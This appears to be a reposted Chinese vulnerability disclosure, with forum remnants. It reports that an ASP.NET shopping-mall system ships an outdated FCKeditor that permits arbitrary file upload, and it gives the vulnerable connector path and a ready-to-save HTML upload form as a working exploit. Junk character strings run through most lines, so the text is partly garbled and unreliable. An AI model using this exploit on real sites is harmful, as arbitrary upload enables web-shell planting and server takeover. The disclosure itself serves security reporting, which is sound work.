披露状态：2011-07-19： 细节已通知厂商并且等待厂商处理中
9 o* b# X+ e& E9 ]4 X; ]- Q9 A7 N 2011-07-20： 厂商已经主动忽略漏洞，细节向公众公开
8 y" Y! o5 {+ G0 J* I1 h- I! m4 O- S( L 简要描述：这个号称中国首家ASP.NET免费开源商城购物系统。最新版本是4.7，竟然采用2.4版本以下的fckeditor编辑器。所以可以直接上传任意文件。0 l0 H! j3 y3 B) R% w
详细说明：其他版本我没测试，估计也是一样的问题% Y( n9 f+ H3 F5 s
http://127.0.0.1/controls/fckedi ... aspx/connector.aspx- d+ C, B# L1 R- B- Z: M7 B
跳转到网站根目录上传任意文件。 C/ e, d/ i3 j* {8 a3 s" a7 G" n
漏洞证明：如果connector.aspx文件被删可用以下exp，copy以下代码另存为html，上传任意文件# S5 l5 V& o9 W3 q# m+ s; R7 j
<form id="frmUpload" enctype="multipart/form-data" action="http://127.0.0.1/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Media" method="post">
( G" s4 a+ |7 H) u% S% X7 J- X& R0 { Upload a new file:<br>
" v7 v( n6 i# o% C <input type="file" name="NewFile" size="50"><br>, ~) T1 d& x& K- `" L4 ?' X
<input id="btnUpload" type="submit" value="Upload">
% f8 j! g# K; o' ]% L7 o </form> |
发表于 2012-9-10 20:46:29
收藏
支持
反对